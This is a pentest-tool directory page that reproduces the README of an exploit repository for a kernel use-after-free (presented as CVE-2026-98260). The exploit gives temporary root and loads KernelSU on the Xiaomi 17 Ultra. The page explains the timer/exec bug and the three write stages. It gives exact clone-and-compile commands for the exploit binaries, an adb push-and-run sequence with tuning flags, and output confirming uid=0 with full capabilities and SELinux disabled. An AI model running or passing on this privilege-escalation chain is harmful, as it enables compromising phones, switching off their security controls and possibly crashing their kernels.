Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-98260-nezha — CVE-2026-98260: Xiaomi 17 Ultra (nezha) temporary root + KernelSU PoC - scripts, docs and logs only; exploit built from upstream source | Kitploit
Tools/GitHubGitHub/4627488/cve-2026-98260-nezha
Android SecurityPrivilege EscalationExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHub4627488/cve-2026-98260-nezha

cve-2026-98260-nezha

CVE-2026-98260: Xiaomi 17 Ultra (nezha) temporary root + KernelSU PoC - scripts, docs and logs only; exploit built from upstream source

View Repository
322 days agoNot yet reviewed
Share

CVE-2026-98260 · Xiaomi 17 Ultra (nezha) temporary root + KernelSU PoC

从一台已授权 ADB、bootloader 锁定、SELinux Enforcing 的小米 17 Ultra 出发, 利用 POSIX CPU timer 在 exec() 中的 use-after-free 拿到当前开机周期内的 uid=0 + 完整 capabilities,再用这个 root 把 KernelSU 模块 late-load 进内核, 得到 KSU 管理的 su。

This is temporary root: as soon as the phone reboots, SELinux returns to Enforcing, su disappears, and KSU modules are unloaded. No partition is written, and the bootloader remains locked.

This repository contains no binaries. The four device-side programs need to be built according to the "Build" section below, from source ported from upstream for the same kernel (./build.sh will do this).

Target

ItemValue
DeviceXiaomi 17 Ultra, codename nezha, model 2512BPNDAC
SystemHyperOS 4 OS4.0.5.0.XPACNXM, Android 17, user build
Kernel6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k
Page size4 KiB
Starting pointAuthorized regular ADB shell, uid=2000, u:r:shell:s0, Enforcing
Resultuid=0(root), CapEff=000001ffffffffff, KSU ksu 3.3.1 available

The 17 / 17 Pro (pudding / pandora) with the same kernel should theoretically also work, but this repository has only been verified on the device above.

Why not use the original PoC

YuKongA/CVE-2026-98260 targets the OnePlus PLZ110 kernel 6.12.69-android16-6-g242e1a07f878 and hardcodes do_timer_create+0x94; the actual call site in the nezha kernel is do_timer_create+0xac (measured with ftrace), so the original version cannot even pass base calibration:

[-] base calibration failed

The source code used in this repository comes from b1gmang0/CVE-2026-98260-pandora-lpe (Xiaomi 17 Pro, same kernel build), and has been tuned based on actual testing (see docs/tuning.md).

Principle (one-sentence version)

When a non-leader thread calls execve(), de_thread() first swaps the TID; if exec_mmap() is interrupted by SIGKILL, the task exits before cleaning up the POSIX timer, so the k_itimer is freed but the timerqueue node remains in the rbtree. When the parent process reaps it, rb_erase() operates on the already-freed node, forming a single controlled 8-byte write.

Each of the three stages requires one successful page reuse (turning a freed order-1 slab page back into a controllable page):

阶段写入目标结果
1 selinuxselinux_state - 7 写 0Permissive
2 cred私有 cred + 8 写 0uid/gid = 0(此时 CapEff 仍是 0)
3 fullcaptask->cred / task->real_cred 写 fake cred 指针全量 caps、启动 rootd

See docs/how-it-works.md for details.

Build (required reading)

Dependencies:

  • Android NDK r28.2 (28.2.13676358), providing aarch64-linux-android35-clang
  • git (to pull upstream source code), adb
./build.sh

The script will:

  1. Clone the upstream source into build/upstream/ (the UPSTREAM environment variable can override the repository address);
  2. Use the NDK to compile four programs into bin/: exploit-android-perf, exploit-android-perf-chain, exploit-android-key-ptr, pc98260-su (compiled from pc98260_su.c).

When the NDK is not in the default path:

NDK=/path/to/android-ndk-r28c ./build.sh

When you already have the upstream source code and don't want to connect to the internet, point directly to its src/:

SRC_DIR=/path/to/CVE-2026-98260-pandora-lpe/src ./build.sh

Equivalent complete manual command:

git clone --depth 1 https://github.com/b1gmang0/CVE-2026-98260-pandora-lpe.git build/upstream
cd build/upstream/src
NDK=$HOME/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/aarch64-linux-android35-clang

$CC -std=gnu11 -O2 -pthread exploit-android-perf.c       -o ../../../bin/exploit-android-perf
$CC -std=gnu11 -O2 -pthread exploit-android-perf-chain.c -o ../../../bin/exploit-android-perf-chain
$CC -std=gnu11 -O2 -pthread exploit-android-key-ptr.c pc98260_rootd.c \
                                                        -o ../../../bin/exploit-android-key-ptr
$CC -std=gnu11 -O2 -pthread pc98260_su.c                 -o ../../../bin/pc98260-su
chmod 755 ../../../bin/*

Build artifact check:

file bin/*
# ELF 64-bit LSB pie executable, ARM aarch64, ... for Android 35

The link addresses in the source code, the do_timer_create probe, and the struct offsets are all hardcoded for 6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k; changing the kernel or the system version requires re-deriving them, and prebuilt artifacts from other devices cannot be reused directly.

Table of Contents

.
├── README.md
├── run.sh                     # 一键:重试 selinux → cred → fullcap → KSU → 验证
├── build.sh                   # 用 NDK 从上游源码重建(输出到 bin/)
├── device/
│   └── ksu_late_load.sh       # 设备端 KernelSU late-load 脚本
├── docs/
│   ├── how-it-works.md
│   └── tuning.md
└── logs/                      # 实测日志样本(含失败与 near-miss)

bin/ and build/ are build artifacts and are already ignored in .gitignore.

Usage

After compilation is complete:

./run.sh <serial> 8

(When serial is not passed, ANDROID_SERIAL or the only online device is used; if bin/ is missing, the script first calls build.sh.) Every failed round forces a restart and cleanup:

  1. Reboot → wait for sys.boot_completed → am kill-all
  2. exploit-android-perf --target selinux --perf 30000 → wait for getenforce to change to Permissive
  3. exploit-android-perf-chain --target cred --perf 30000 → wait for rootd to come up and verify uid=0 + CapEff=000001ffffffffff
  4. device/ksu_late_load.sh (executed as root via rootd) → poll /proc/modules until kernelsu ... Live appears
  5. su -c 'id' verify u:r:ksu:s0

Successful output looks like:

===== ROOT OK on attempt 3
=== starting KernelSU late-load
ksu[1] kernelsu 221184 1 - Live ... | ksud 3.3.1 (uapi: 5)
uid=0(root) ... context=u:r:ksu:s0
CapEff: 000001ffffffffff
===== ALL DONE: root + KernelSU

Manual step-by-step (equivalent):

adb push bin/exploit-android-perf bin/exploit-android-perf-chain bin/exploit-android-key-ptr /data/local/tmp/
adb push bin/pc98260-su /data/local/tmp/pc98260-su
adb shell 'chmod 755 /data/local/tmp/exploit-android-perf /data/local/tmp/exploit-android-perf-chain \
    /data/local/tmp/exploit-android-key-ptr /data/local/tmp/pc98260-su'

adb shell 'cd /data/local/tmp && ./exploit-android-perf --target selinux --attempts 12 \
    --prefix 1 --churn 512 --pcp-prime 8192 --aio 8192 --perf 30000'
adb shell 'cd /data/local/tmp && ./exploit-android-perf-chain --target cred --attempts 12 \
    --prefix 1 --churn 512 --pcp-prime 8192 --aio 8192 --perf 30000'

adb shell 'PC98260_SOCK=/data/local/tmp/pc98260-root.sock /data/local/tmp/pc98260-su -c "id; getenforce"'

Using root

adb shell su -c 'id'     # uid=0(root) ... context=u:r:ksu:s0
adb shell su             # 交互式 root shell
  • After KSU is loaded, SELinux will be set back to Enforcing by ksud, but su goes through u:r:ksu:s0, so usage is unaffected.
  • The KSU manager (me.weishu.kernelsu, 3.3.1) can grant root to other apps.

Risks and Precautions

  • Failure means PARKED: if the exploit fails, a zombie holding a stale timer node is left behind. In this case, do not kill it, and do not retry within the same boot; you can only reboot. run.sh already handles this accordingly.
  • On failure the kernel may become unstable (the page may be taken by another process or merged into a higher-order buddy), and in extreme cases it will panic and reboot.
  • Use only on your own device; it temporarily disables SELinux, and system security is reduced while root is active.
  • Everything disappears after a reboot; persistent root requires unlocking the bootloader and flashing a boot image with KSU (this repository does not do this, and it is not feasible with the bootloader locked).

Success Rate

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →